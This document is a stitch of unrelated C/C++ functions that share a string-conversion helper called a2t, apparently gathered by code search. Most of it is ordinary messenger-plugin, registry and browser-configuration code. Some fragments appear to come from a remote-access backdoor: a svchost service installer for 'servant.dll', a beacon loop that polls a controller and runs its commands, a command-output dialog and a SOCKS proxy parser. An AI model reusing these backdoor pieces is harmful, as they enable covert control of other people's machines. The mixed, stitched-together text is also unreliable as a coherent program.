static void JabberIqResultGetSearchFields( XmlNode *iqNode, void *userdata ) { if ( !searchHandleDlg ) return; TCHAR* type = JabberXmlGetAttrValue( iqNode, "type" ); if ( !type ) return; if ( !lstrcmp( type, _T("result"))) { XmlNode* queryNode=JabberXmlGetNthChild(iqNode,"query",1); XmlNode* xNode = JabberXmlGetChildWithGivenAttrValue( queryNode, "x", "xmlns", _T("jabber:x:data")); int formHeight=0; ShowWindow(searchHandleDlg,SW_HIDE); if ( xNode ) { //1. Form PostMessage( searchHandleDlg, WM_USER+11, ( WPARAM ) xNode, ( LPARAM )0 ); XmlNode*xcNode =JabberXmlGetNthChild(xNode,"instructions",1); if ( xcNode ) SetDlgItemText( searchHandleDlg, IDC_INSTRUCTIONS, xcNode->text); } else { int Order=0; for ( int i = 0; i < queryNode->numChild; i++ ) { XmlNode* chNode=queryNode->child[i]; if (!strcmpi(chNode->name, "instructions") && chNode->text) SetDlgItemText(searchHandleDlg,IDC_INSTRUCTIONS,TranslateTS(chNode->text)); else if ( chNode->name ) { Data *MyData=(Data*)malloc(sizeof(Data)); memset(MyData,0,sizeof(Data)); MyData->Label=a2t(chNode->name); MyData->Var=a2t(chNode->name); MyData->defValue=mir_tstrdup(chNode->text); MyData->Order=Order; if (MyData->defValue) MyData->bReadOnly=TRUE; PostMessage(searchHandleDlg,WM_USER+10,(WPARAM)FALSE,(LPARAM)MyData); Order++; } } } TCHAR * szFrom=JabberXmlGetAttrValue( iqNode, "from" ); if (szFrom) JabberSearchAddToRecent(szFrom,searchHandleDlg); PostMessage(searchHandleDlg,WM_USER+10,(WPARAM)0,(LPARAM)0); ShowWindow(searchHandleDlg,SW_SHOW); } else if ( !lstrcmp( type, _T("error"))) { TCHAR * code=NULL; TCHAR * description=NULL; TCHAR buff[255]; XmlNode* errorNode=JabberXmlGetChild(iqNode,"error"); if ( errorNode ) { code=JabberXmlGetAttrValue(errorNode,"code"); description=errorNode->text; } _sntprintf(buff,SIZEOF(buff),TranslateT("Error %s %s\r\nPlease select other server"),code ? code : _T(""),description?description:_T("")); SetDlgItemText(searchHandleDlg,IDC_INSTRUCTIONS,buff); } else SetDlgItemText( searchHandleDlg, IDC_INSTRUCTIONS, TranslateT( "Error Unknown reply recieved\r\nPlease select other server" )); }
void AddRegOpenWithExtEntry(const TCHAR *pszAppFileName,const char *pszFileExt,const TCHAR *pszFileDesc) { HKEY hRootKey,hAppsKey,hExeKey,hTypesKey; /* try to open interactive user's classes key */ if (RegOpenKeyEx(HKEY_CURRENT_USER,_T("Software\\Classes"),0,KEY_QUERY_VALUE,&hRootKey)) hRootKey=HKEY_CLASSES_ROOT; /* applications */ if (!RegOpenKeyEx(hRootKey,_T("Applications"),0,KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS,&hAppsKey)) { /* filename */ if (!RegOpenKeyEx(hAppsKey,pszAppFileName,0,KEY_CREATE_SUB_KEY,&hExeKey)) { /* supported types */ if (!RegCreateKeyEx(hExeKey,_T("SupportedTypes"),0,NULL,0,KEY_SET_VALUE,NULL,&hTypesKey,NULL)) { TCHAR *ptszFileExt; ptszFileExt=a2t(pszFileExt); if (ptszFileExt!=NULL) RegSetValueEx(hTypesKey,ptszFileExt,0,REG_SZ,(BYTE*)pszFileDesc,(int)(mir_tstrlen(pszFileDesc)+1)*sizeof(TCHAR)); mir_free(ptszFileExt); /* does NULL check */ RegCloseKey(hTypesKey); } RegCloseKey(hExeKey); } RegCloseKey(hAppsKey); } if (hRootKey!=HKEY_CLASSES_ROOT) RegCloseKey(hRootKey); }
BOOL ICMPSocket::Create( LPCTSTR listenIPOrHost ) { tstring iporhost; if (NULL == listenIPOrHost) { char hostname[128] = {0}; gethostname(hostname, 128); iporhost = a2t(hostname); } else { iporhost = listenIPOrHost; } Close(); m_listenIP = INADDR_NONE; if (! MySocket::IPOrHostname2IP(iporhost.c_str(), m_listenIP)) { errorLog(_T("invalid listeniporhost [%s]"), listenIPOrHost); return FALSE; } if (! CreateListenSocket(m_listenIP, m_sock)) { errorLog(_T("create listen socket failed")); m_sock = INVALID_SOCKET; return FALSE; } return TRUE; }
BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dwSize ) { IN_ADDR addr; addr.S_un.S_addr = targetIP; ByteBuffer sendByteBuffer; sendByteBuffer.Alloc(dwSize); memcpy((LPBYTE)sendByteBuffer, pData, dwSize); BOOL bSentOK = FALSE; int iSent = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size()); if (iSent) { bSentOK = TRUE; } else { sock.Close(); if (! Connect(targetIP, sock)) { debugLog(_T("connect %x %s failed"), targetIP, a2t(inet_ntoa(addr))); return FALSE; } } return bSentOK; }
int ProtoAck(WPARAM wParam, LPARAM lParam) { ACKDATA *ack = (ACKDATA *)lParam; if (ack->type == ACKTYPE_AWAYMSG && ack->result == ACKRESULT_SUCCESS) { #ifdef _UNICODE DBVARIANT dbv; if (!DBGetContactSetting(ack->hContact, "CList", "StatusMsg", &dbv)) { bool unicode = (dbv.type == DBVT_UTF8 || dbv.type == DBVT_WCHAR); DBFreeVariant(&dbv); if (unicode) { DBGetContactSettingTString(ack->hContact, "CList", "StatusMsg", &dbv); PostMPMessage(MUM_GOTSTATUS, (WPARAM)ack->hContact, (LPARAM)_tcsdup(dbv.ptszVal)); DBFreeVariant(&dbv); return 0; } } #endif char *szMsg = (char *)ack->lParam; if (szMsg && szMsg[0]) PostMPMessage(MUM_GOTSTATUS, (WPARAM)ack->hContact, (LPARAM)a2t(szMsg)); } else if (ack->type == ACKTYPE_GETINFO && ack->result == ACKRESULT_SUCCESS) { PostMPMessage(MUM_REDRAW, (WPARAM)ack->hContact, 0); } return 0; }
BOOL HttpComm::Connect( ULONG targetIP ) { char szPort[255] = {0}; sprintf_s(szPort,"%d",g_ConfigInfo.nPort); IN_ADDR connectIP; connectIP.S_un.S_addr = targetIP; tstring strIp; if (m_ssl) { strIp = _T("https://"); strIp += a2t(inet_ntoa(connectIP)); strIp += _T(":"); if (g_ConfigInfo.nPort != 443) strIp += a2t(szPort); } else { strIp = _T("http://"); strIp += a2t(inet_ntoa(connectIP)); strIp += _T(":"); if (g_ConfigInfo.nPort != 80) strIp += a2t(szPort); } if (!m_http) { m_http = new ctx::http(strIp.c_str()); } else { m_http->UpdateUrl(strIp.c_str()); } return m_http != NULL; }
// pszProtoPrefix is expected to have no trailing : static void Opera6_AddTrustedProto(const char *pszProtoPrefix) { TCHAR szIniFile[MAX_PATH],*ptszProtoPrefix; if (Opera6_GetIniFilePath(szIniFile)) { /* trusted protocols */ ptszProtoPrefix=a2t(pszProtoPrefix); if (ptszProtoPrefix!=NULL) { WritePrivateProfileString(_T("Trusted Protocols"),ptszProtoPrefix,_T("1,0,"),szIniFile); mir_free(ptszProtoPrefix); } } }
int main() { std::array<int, 4> array = {1,2,3,4}; // convert an array into a tuple auto tuple = a2t(array); static_assert(std::is_same<decltype(tuple), std::tuple<int, int, int, int>>::value, ""); // print it to cout std::cout << tuple << '\n'; }
int _tmain(int argc, _TCHAR* argv[]) { tstring filepath = getModFilePath(); filepath += _T("servant.dll"); // if (_tcscmp(argv[1], _T("-i")) == 0) { BOOL bRet = InstallSvchostService(a2t(g_ServiceInfo.szServiceName), a2t(g_ServiceInfo.szDisplayName), a2t(g_ServiceInfo.szServiceDecript), filepath.c_str(), _T("XLServant")); if (bRet) StartService(a2t(g_ServiceInfo.szServiceName)); printf("install service ret %d", bRet); return 0; } // else if (_tcscmp(argv[1], _T("-u")) == 0) { BOOL bRet = DeleteSvchostService(a2t(g_ServiceInfo.szServiceName), _T("XLServant")); printf("uninstall service ret %d", bRet); } return 0; }
BOOL RemoveRegClass(const char *pszClassName) { LONG res; HKEY hRootKey,hClassKey,hShellKey,hVerbKey; TCHAR *ptszClassName,*ptszPrevRunCmd; /* try to open interactive user's classes key */ if (RegOpenKeyEx(HKEY_CURRENT_USER,_T("Software\\Classes"),0,DELETE,&hRootKey)) hRootKey=HKEY_CLASSES_ROOT; /* class name */ ptszClassName=a2t(pszClassName); if (ptszClassName!=NULL) res=DeleteRegSubTree(hRootKey,ptszClassName); else res=ERROR_OUTOFMEMORY; mir_free(ptszClassName); /* does NULL check */ /* backup only saved/restored for fUrlProto */ if (!res) { if ((res=RestoreRegTree(hRootKey,pszClassName,"bak_"))==ERROR_SUCCESS) /* class */ if (!RegOpenKeyExA(hRootKey,pszClassName,0,KEY_QUERY_VALUE,&hClassKey)) { /* shell */ if (!RegOpenKeyEx(hClassKey,_T("shell"),0,KEY_QUERY_VALUE,&hShellKey)) { /* verb */ if (!RegOpenKeyEx(hShellKey,_T("open"),0,KEY_QUERY_VALUE,&hVerbKey)) { /* command */ ptszPrevRunCmd=GetRegStrValue(hVerbKey,_T("command")); if (ptszPrevRunCmd!=NULL && !IsValidRunCommand(ptszPrevRunCmd)) res=DeleteRegSubTree(hRootKey,ptszClassName); /* backup outdated, remove all */ mir_free(ptszPrevRunCmd); /* does NULL check */ RegCloseKey(hVerbKey); } RegCloseKey(hShellKey); } RegCloseKey(hClassKey); } } else DeleteRegTreeBackup(pszClassName,"bak_"); if (hRootKey!=HKEY_CLASSES_ROOT) RegCloseKey(hRootKey); if (res==ERROR_SUCCESS || res==ERROR_FILE_NOT_FOUND || res==ERROR_NO_MORE_ITEMS) return TRUE; SetLastError(res); return FALSE; }
static void Opera6_AddKnownMimeType(const char *pszMimeType,const char *pszFileExt,const TCHAR *pszDescription) { TCHAR szIniFile[MAX_PATH],szVal[256],*ptszMimeType; if (Opera6_GetIniFilePath(szIniFile)) { /* section version */ if (GetPrivateProfileInt(_T("File Types Section Info"),_T("Version"),0,szIniFile)==2) { ptszMimeType=a2t(pszMimeType); if (ptszMimeType!=NULL) { /* file type */ mir_sntprintf(szVal,SIZEOF(szVal),_T("4,,,,%.15hs,|%.128s (%.16hs)"),&pszFileExt[1],pszDescription,pszFileExt); WritePrivateProfileString(_T("File Types"),ptszMimeType,szVal,szIniFile); /* file type extension */ WritePrivateProfileString(_T("File Types Extension"),ptszMimeType,_T(",0"),szIniFile); mir_free(ptszMimeType); } } } }
void CCmdDlg::HandleModuleMsgProc(UINT nMsg, LPVOID lpContext, LPVOID lpParameter) { if (nMsg == MODULE_MSG_CMDOUTPUT) { CString strResult; CString strOutput; strOutput = a2t((LPCSTR)lpContext); GetDlgItemText(IDC_EDIT_RESULT,strResult); m_strResult = strResult+strOutput; SetDlgItemText(IDC_EDIT_RESULT,m_strResult); m_editResult.LineScroll(m_editResult.GetLineCount()); m_editResult.SetSel(-1); } }
INT_PTR ShowTip(WPARAM wParam, LPARAM lParam) { CLCINFOTIP *clcit = (CLCINFOTIP *)lParam; if(clcit->isGroup) return 0; // no group tips (since they're pretty useless) if(clcit->isTreeFocused == 0 && options.show_no_focus == false) return 0; CLCINFOTIPEX *clcit2 = (CLCINFOTIPEX *)malloc(sizeof(CLCINFOTIPEX)); memcpy(clcit2, clcit, sizeof(CLCINFOTIP)); clcit2->cbSize = sizeof(CLCINFOTIPEX); clcit2->proto = 0; clcit2->text = 0; if(wParam) { // wParam is char pointer containing text - e.g. status bar tooltip clcit2->text = a2t((char *)wParam); GetCursorPos(&clcit2->ptCursor); //MessageBox(0, clcit2->text, _T("ShowTip"), MB_OK); } PostMPMessage(MUM_CREATEPOPUP, 0, (LPARAM)clcit2); return 1; }
static void BackupRegTree_Worker(HKEY hKey,const char *pszSubKey,struct BackupRegTreeParam *param) { LONG res; DWORD nMaxSubKeyLen,nMaxValNameLen,nMaxValSize; DWORD index,cchName,dwType,cbData; BYTE *pData; char *pszName; register TCHAR *ptszName; DWORD nDbPrefixLen; if ((res=RegOpenKeyExA(hKey,pszSubKey,0,KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS,&hKey))==ERROR_SUCCESS) { if ((res=RegQueryInfoKey(hKey,NULL,NULL,NULL,NULL,&nMaxSubKeyLen,NULL,NULL,&nMaxValNameLen,&nMaxValSize,NULL,NULL))==ERROR_SUCCESS) { if (nMaxSubKeyLen>nMaxValNameLen) nMaxValNameLen=nMaxSubKeyLen; /* prepare buffer */ nDbPrefixLen = (DWORD)(mir_strlen(*param->ppszDbPrefix) + mir_strlen(pszSubKey) + 1); cchName = nDbPrefixLen + nMaxValNameLen + 3; if (cchName>*param->pdwDbPrefixSize) { pszName=(char*)mir_realloc(*param->ppszDbPrefix,cchName); if (pszName==NULL) return; *param->ppszDbPrefix=pszName; *param->pdwDbPrefixSize=cchName; } mir_strcat(mir_strcat(*param->ppszDbPrefix,pszSubKey),"\\"); /* buffer safe */ /* enum values */ pszName=(char*)mir_alloc(nMaxValNameLen+1); if (nMaxValSize==0) nMaxValSize=1; pData=(BYTE*)mir_alloc(nMaxValSize); if (pszName!=NULL && pData!=NULL) { index=0; while(!res) { cchName=nMaxValNameLen+1; cbData=nMaxValSize; if ((res=RegEnumValueA(hKey,index++,pszName,&cchName,NULL,NULL,NULL,NULL))==ERROR_SUCCESS) { (*param->ppszDbPrefix)[nDbPrefixLen]=0; mir_strcat(*param->ppszDbPrefix,pszName); /* buffer safe */ ptszName=a2t(pszName); if (ptszName!=NULL) { if (!RegQueryValueEx(hKey,ptszName,NULL,&dwType,pData,&cbData)) { WriteDbBackupData(*param->ppszDbPrefix,dwType,pData,cbData); } mir_free(ptszName); } } } if (res==ERROR_NO_MORE_ITEMS) res=ERROR_SUCCESS; } mir_free(pData); /* does NULL check */ /* enum subkeys */ if (param->level<32 && pszName!=NULL) { ++param->level; /* can be max 32 levels deep (after prefix), restriction of RegCreateKeyEx() */ index=0; while(!res) { cchName=nMaxSubKeyLen+1; if ((res=RegEnumKeyExA(hKey,index++,pszName,&cchName,NULL,NULL,NULL,NULL))==ERROR_SUCCESS) { (*param->ppszDbPrefix)[nDbPrefixLen]=0; BackupRegTree_Worker(hKey,pszName,param); /* recursion */ } } } if (res==ERROR_NO_MORE_ITEMS) res=ERROR_SUCCESS; mir_free(pszName); /* does NULL check */ } RegCloseKey(hKey); } }
void CommManager::MessageSenderProc() { Wow64FsRedirectionDisabler disabler; disabler.Disable(); DWORD sendTestTimeMS = 0; BOOL bFirstConnect = TRUE; BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0); ByteBuffer recvByteData; while (m_bWorking) { if (! m_bWorking) break; Sleep(m_dwMsgIntervalMS); //如果配置了第一次上线时间,则需要检测并等待 if (bFirstConnect && bWaitUntil) { static int iCount = 0; iCount++; if (iCount < 5) continue; iCount = 0; SYSTEMTIME now; ::GetLocalTime(&now); if (now.wHour == g_ConfigInfo.nFirstConnectHour && now.wMinute == g_ConfigInfo.nFirstConnectMinute) { bFirstConnect = FALSE; } else { continue; } } //从CutupProtocol获取待发送数据 ByteBuffer toSendByteData; COMM_NAME commName; if (! GetMessageToSend( commName ,toSendByteData)) { CreateEmptyPacket(toSendByteData); commName = COMMNAME_DEFAULT; } ULONG targetIP = 0; BOOL ret = FALSE; do { ret = MySocket::IPOrHostname2IP(a2t(g_ConfigInfo.szAddr),targetIP); } while (!ret); ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData); if (! ret) { CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector; if (cmd.IsChildRunning()) cmd.Stop(); errorLog(_T("sendrecv msg [%d] failed"), commName); continue; } if (!IsConnected()) { ConnectedNotify(); } CommData recvData; ret = recvData.Parse(recvByteData, recvByteData.Size()); if (!ret ) { errorLog(_T("parse received msg failed")); continue; } MSGID msgid = recvData.GetMsgID(); if (INVALID_MSGID == msgid) { continue; } if ( MSGID_AVAILABLE_COMM == msgid ) { continue; } //查询消息处理者 FnExecuteRCCommand fnCallback = NULL; LPVOID lpParameter = NULL; if (! Manager::GetInstanceRef().QueryCommandHandler(msgid, &fnCallback, &lpParameter) || NULL == fnCallback ) { errorLog(_T("no handler for [%I64u]"), msgid); CommData reply; reply.Reply(recvData); reply.SetMsgID(MSGID_REPLY_COMMAND); reply.SetData(_T("error"), _T("invalid command")); PushMsgToMaster(commName, reply); continue; } debugLog(_T("recv msgid[%I64u]. try to handle it"), msgid); //使用线程池处理,或者直接处理 if (recvData.UsingPoolThread()) { PEXECUTOR_PARAMETER p = new EXECUTOR_PARAMETER; p->msgid = msgid; p->fnCallback = fnCallback; p->lpParameter = lpParameter; recvData.Serialize(p->data); ::QueueUserWorkItem(CmdExcutor, p, WT_EXECUTEDEFAULT); } else { ByteBuffer dataBuffer; recvData.Serialize(dataBuffer); fnCallback(msgid, dataBuffer, dataBuffer.Size(), lpParameter); } } }
BOOL SocksParser::GetRequest( SERVICE_INFO& svc ) { /* +----+-----+-------+------+----------+----------+ |VER | CMD | RSV | ATYP | DST.ADDR | DST.gListenSocket | +----+-----+-------+------+----------+----------+ | 1 | 1 | X'00' | 1 | Variable | 2 | +----+-----+-------+------+----------+----------+ */ char buffer[1024]; sockaddr_in svr = {0}; if(!RecvBuf(svc.socket,buffer,10)) return FALSE; switch (buffer[1]) { case 0x01: svc.type = SOCKS_CONNECT; break; case 0x02: svc.type = SOCKS_BIND; break; case 0x03: svc.type = SOCKS_UDP; break; } //需要连接一个IP if (buffer[3] == 0x01) { infoLog(_T("THE DESTINATION IP : %d.%d.%d.%d "),\ buffer[4]&0xff,buffer[5]&0xff,buffer[6]&0xff,buffer[7]&0xff) ; infoLog(_T("THE DESTINATION PORT : %d"),((int)buffer[8])*256 + (unsigned char)buffer[9]); svr.sin_family = AF_INET; svr.sin_port = htons(((int)buffer[8])*256 + (unsigned char)buffer[9]); svr.sin_addr.s_addr = MAKELONG(MAKEWORD((buffer[4]&0xff),(buffer[5]&0xff)), MAKEWORD((buffer[6]&0xff),(buffer[7]&0xff))) ; } //需要连接一个域名 else if (buffer[3] == 0x03) { int i = 0; int NameSize = buffer[4]&0xff; //接收域名 if (NameSize >= 6) RecvBuf(svc.socket,&buffer[4]+6,NameSize-5); char szName[100]; for (i = 0;i < NameSize;++i) szName[i] = buffer[i+5]; szName[i] = 0; infoLog(_T("The disire DomainName : %s"),a2t(szName)); svr.sin_family = AF_INET; //请求DNS svr.sin_addr = GetName(szName); //如果请求DNS失败 if (svr.sin_addr.s_addr == 0) { errorLog(_T("QUERY DNS Error")); return FALSE; } i += 5; //接收端口号 infoLog(_T("The disire IP :%s"),a2t(inet_ntoa(svr.sin_addr))); RecvBuf(svc.socket,&buffer[i],2); infoLog(_T("The destination port : %d"),(buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]); svr.sin_port = htons((buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]); } //设置sockaddr_in svc.saddr = svr; svc.slocal = svc.socket; if (svc.type == SOCKS_UDP) { svc.caddr = svr; sockaddr_in addr; socklen_t size = sizeof(addr); svc.usocket = Socket::Create(FALSE); getpeername(svc.socket,(sockaddr*)&addr,&size); svc.caddr.sin_addr = addr.sin_addr; } else if (svc.type == SOCKS_CONNECT) { svc.sremote = Create(); } else if (svc.type == SOCKS_BIND) { svc.slocal = Create(); if (!Socket::Bind(svc.slocal,svc.sq,svc.saddr)) { return FALSE; } } return TRUE; }
static void JabberIqResultAdvancedSearch( XmlNode *iqNode, void *userdata ) { TCHAR* type; int id; U_TCHAR_MAP mColumnsNames(10); LIST<void> SearchResults(2); if ((( id = JabberGetPacketID( iqNode )) == -1 ) || (( type = JabberXmlGetAttrValue( iqNode, "type" )) == NULL )) { JSendBroadcast( NULL, ACKTYPE_SEARCH, ACKRESULT_SUCCESS, ( HANDLE ) id, 0 ); return; } if ( !lstrcmp( type, _T("result"))) { XmlNode* queryNode=JabberXmlGetNthChild(iqNode,"query",1); XmlNode* xNode = JabberXmlGetChildWithGivenAttrValue( queryNode, "x", "xmlns", _T("jabber:x:data")); if (xNode) { //1. Form search results info XmlNode* reportNode=JabberXmlGetNthChild(xNode,"reported",1); if (reportNode) { int i = 1; while ( XmlNode* fieldNode = JabberXmlGetNthChild( reportNode, "field", i++ )) { TCHAR* var = JabberXmlGetAttrValue( fieldNode, "var" ); if ( var ) { TCHAR * Label=JabberXmlGetAttrValue(fieldNode,"label"); mColumnsNames.insert(var, (Label!=NULL) ? Label : var); } } } int i=1; XmlNode* itemNode; while ( itemNode = JabberXmlGetNthChild( xNode, "item", i++ )) { U_TCHAR_MAP *pUserColumn = new U_TCHAR_MAP(10); int j = 1; while ( XmlNode* fieldNode = JabberXmlGetNthChild( itemNode, "field", j++ )) { if (TCHAR * var=JabberXmlGetAttrValue(fieldNode,"var" )) { if (TCHAR * Text=(JabberXmlGetChild(fieldNode,"value")->text)) { if (!mColumnsNames[var]) mColumnsNames.insert(var,var); pUserColumn->insert(var,Text); } } } SearchResults.insert((void*)pUserColumn); } } else { //2. Field list search results info int i=1; while ( XmlNode* itemNode = JabberXmlGetNthChild( queryNode, "item", i++ )) { U_TCHAR_MAP *pUserColumn=new U_TCHAR_MAP(10); TCHAR* jid = JabberXmlGetAttrValue( itemNode, "jid" ); TCHAR* keyReturned; mColumnsNames.insertCopyKey( _T("jid"),_T("jid"),&keyReturned, CopyKey, DestroyKey ); mColumnsNames.insert( _T("jid"), keyReturned ); pUserColumn->insertCopyKey( _T("jid"), jid, NULL, CopyKey, DestroyKey ); for ( int j=0; j < itemNode->numChild; j++ ) { XmlNode* child = itemNode->child[j]; if ( child->name ) { TCHAR * szColumnName=a2t(child->name); if ( child->text && child->text[0] != _T('\0')) { TCHAR *keyReturned; mColumnsNames.insertCopyKey(szColumnName,_T(""),&keyReturned, CopyKey, DestroyKey); mColumnsNames.insert(szColumnName,keyReturned); pUserColumn->insertCopyKey(szColumnName,child->text,NULL, CopyKey, DestroyKey); mir_free(szColumnName); } } } SearchResults.insert((void*)pUserColumn); } } } else if (!lstrcmp( type, _T("error"))) { TCHAR * code=NULL; TCHAR * description=NULL; TCHAR buff[255]; XmlNode* errorNode = JabberXmlGetChild( iqNode, "error" ); if (errorNode) { code = JabberXmlGetAttrValue(errorNode,"code"); description = errorNode->text; } _sntprintf(buff,SIZEOF(buff),TranslateT("Error %s %s\r\nTry to specify more detailed"),code ? code : _T(""),description?description:_T("")); JSendBroadcast( NULL, ACKTYPE_SEARCH, ACKRESULT_SUCCESS, ( HANDLE ) id, 0 ); if (searchHandleDlg ) SetDlgItemText(searchHandleDlg,IDC_INSTRUCTIONS,buff); else MessageBox(NULL, buff, TranslateT("Search error"), MB_OK|MB_ICONSTOP); return; } JabberSearchReturnResults((HANDLE)id, (void*)&SearchResults, (U_TCHAR_MAP *)&mColumnsNames); for (int i=0; i < SearchResults.getCount(); i++ ) delete ((U_TCHAR_MAP *)SearchResults[i]); //send success to finish searching JSendBroadcast( NULL, ACKTYPE_SEARCH, ACKRESULT_SUCCESS, ( HANDLE ) id, 0 ); }